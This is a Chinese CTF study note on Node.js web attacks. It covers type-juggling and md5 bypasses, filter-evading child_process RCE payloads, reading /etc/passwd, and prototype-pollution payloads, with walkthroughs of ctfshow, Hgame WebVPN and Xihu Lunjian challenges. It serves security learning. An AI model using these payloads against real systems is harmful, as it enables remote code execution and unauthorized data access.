Node js

Nodejs基础

简单说Node.js就是运行在服务端的JavaScript。

Node.js是一个基于Chrome JavaScript 运行时建立的一个平台。

Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的v8引擎,v8引擎执行JavaScript的速度非常快,性能非常好。

Nodejs语言的缺点

1.大小写转换中的问题

toUpperCase() 将小写字母的字符转换成大写,如果是其他字符,则字符不变。

在遇到一些特殊字符时,会发生混乱,比如将ı转换成I,将ſ转换成S

image-20240226194234268


toLowerCase() 将大写字母的字符转换成小写,如果是其他字符,则字符不变。

在遇到一些特殊字符时,会发生混乱,比如将İ转换成i,将K转换成k

image-20240226194440913

2.弱类型比较

数字与字符串比较时,会优先将纯数字型字符串转换成数字之后再进行比较,而字符串与字符串比较时,会将字符串的第一个字符转换成ASCII码之后再进行比较,而非数字型字符串与任何数字进行比较都是false。

image-20240226194922329

空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组和非数值型字符串比较,数组永远小于非数值型字符串,数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较。

image-20240226195803325

关键字的比较

image-20240226195926421

md5绕过

举个列子

a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

传入

a[x]=1&b[x]=2

nodejs编码绕过

16进制编码

console.log('a'==='\x61')
true

unicode编码

console.log('a'==='\u0061')
true

base64编码

console.log(Buffer.from("dGVzdA==",base64).toString()) 

Node js 危险函数利用

exec()

require('child_process').exec('calc');

eval()

console.log(eval("document.cookie"))

文件读写

require('fs').writeFileSync('input','test');
require('fs').writeFile('input.txt','test',(err)=>{}); //写文件

require('fs').readFile('/etc/passwd','utf-8',(err,data)=>{
if (err) throw err;
console.log(data);
});
require('fs').readFileSync('/etc/passwd','utf-8');

RCE bypass

require('child_process')['exe'+'c']('ls')
require('child_process')['exe'%2B'c']('ls')
require('child_process')['exe'.concat("c")]('ls')
require('child_process')["\x65\x78\x65\x63"]('ls')
require('child_process')["\u0065\u0078\u0065\u0063"]('ls')
console.log(Buffer.from("cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2lwY29uZmlnIC9hbGwnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKfSk7",base64).toString())


/**cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2lwY29uZmlnIC9hbGwnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKfSk7==require('child_process').exec('ipconfig /all',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});**/

Nodejs中的SSRF

拆分攻击

Nodejs原型链污染

p神文章

原型链污染是一种针对JavaScript运行时的注入攻击。通过原型链污染,攻击者可能控制对象属性的默认值,这允许攻击者篡改应用程序的逻辑,还可能导致拒绝服务攻击,或者在极端情况下,远程执行代码。

prototype原型

JavaScript只有一种结构,对象。每个实例对象(object)都有一个私有属性(__proto__),指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__),层层向上直到一个对象的原型对象为null,根据定义null没有原型,并作为原型链中的最后一个环节。

image-20240226210851622

原型链污染的原理

image-20240226211827578

image-20240226212206339

原型链污染导致的RCE

image-20240226212722545

web334

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router;

user.js

module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

思路分析

设法登录成功之后取得flag,登录时通过post方法传入username,password两个参数,当findUser函数返回值为真时,可以成功登录,我们post可以传入

username=ctfshow,password=123456

web 335

F12显示有eval,这里考虑nodejs命令执行。

思路分析

require('child_process').execSync('ls').toString()
require('child_process').execSync('cat fl00g.txt').toString()

require('child_process').spawnSync('ls',['./']).stdout.toString()
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

web 336

继续尝试命令执行,发现被过滤。考虑文件读取

思路分析

/?eval=__filename
/?eval=require('fs').readFileSync('/app/routes/index.js','utf-8') //过滤exec|load
/?eval=require('child_process')['exe'+'cSync']('ls').toString() //+号绕过

?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

web 337

task.js

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

思路分析

简单的md5绕过,可以通过数组或者对象的方式,这里传入

a[x]=1&b[x]=2

web 338

在源代码中发现

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

追踪copy函数

common.js

module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

这里是典型的原型链污染,我们通过copy函数,对secret进行污染,使得secret中的属性ctfshow等于36dboy成功登录获得flag

我们这里传入

{
"__proto__":{"ctfshow":"36dboy"}
}

Hgame week3 [WebVPN]

app.js

const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");

const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();

app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
session({
name: session_name,
secret: uuidv4().toString(),
secure: false,
resave: false,
saveUninitialized: true,
})
);
app.use(bodyParser.json());
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};

function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}

app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}

let url = (() => {
try {
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})();

if (!url) return;

if (!userStorage[username].strategy[url.hostname]) {
res.status(400);
res.end("your url is not allowed.");
}

try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1);
if (key.trim() !== session_name) {
filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;
});
const remote_res = await (() => {
if (req.method == "POST") {
return axios.post(url, req.body, {
headers: headers,
});
} else if (req.method == "GET") {
return axios.get(url, {
headers: headers,
});
} else {
res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {
res.status(500);
res.end("unreachable url.");
}
});

app.post("/user/login", (req, res) => {
const { username, password } = req.body;
if (
typeof username != "string" ||
typeof password != "string" ||
!username ||
!password
) {
res.status(400);
res.end("invalid username or password");
return;
}
if (!userStorage[username]) {
res.status(403);
res.end("invalid username or password");
return;
}
if (userStorage[username].password !== password) {
res.status(403);
res.end("invalid username or password");
return;
}
req.session.username = username;
res.send("login success");
});

// under development
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});

app.get("/home", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
return;
}
res.render("home", {
username: req.session.username,
strategy: ((list)=>{
var result = [];
for (var key in list) {
result.push({host: key, allow: list[key]});
}
return result;
})(userStorage[req.session.username].strategy),
});
});

// demo service behind webvpn
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});

app.listen(port, '0.0.0.0', () => {
console.log(`app listen on ${port}`);
});

思路分析

观察最后一个函数

app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});

这里记录了获得flag的条件,是要从127.0.0.1:3000访问flag,但是这里我们无法直接进行伪造,考虑ssrf。

分析/proxy路由,传入参数url,检查这个网站是否能够访问,能访问直接访问,否则返回your url is not allowed.

我们这里设法将127.0.0.1设置成可以访问的变量即可获得flag

观察update函数

function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}

这里是典型的原型链污染,但是过滤了“_”,可以用 constructor.prototype 代替__proto__

我们在/user/info路由当中传入{"age":1212,"constructor":{"prototype":{"127.0.0.1":true}}}

然后在通过/proxy路由访问http://127.0.0.1:3000获得flag

[西湖论剑 2022]Node Magical Login

controller.js

const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"

const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")


function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}

function CheckInternalController(req,res) {
res.sendFile("check.html",{root:"static"})

}

function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}

function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}

module.exports = {
LoginController,
CheckInternalController,
Flag1Controller,
CheckController
}

思路分析

首先拿flag1,设置cookie: user=admin然后访问/flag1 查看响应头可以得到

然后使checkcode.toLowerCase()报错,json格式传一个长度为16的数组即可

{"checkcode":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]}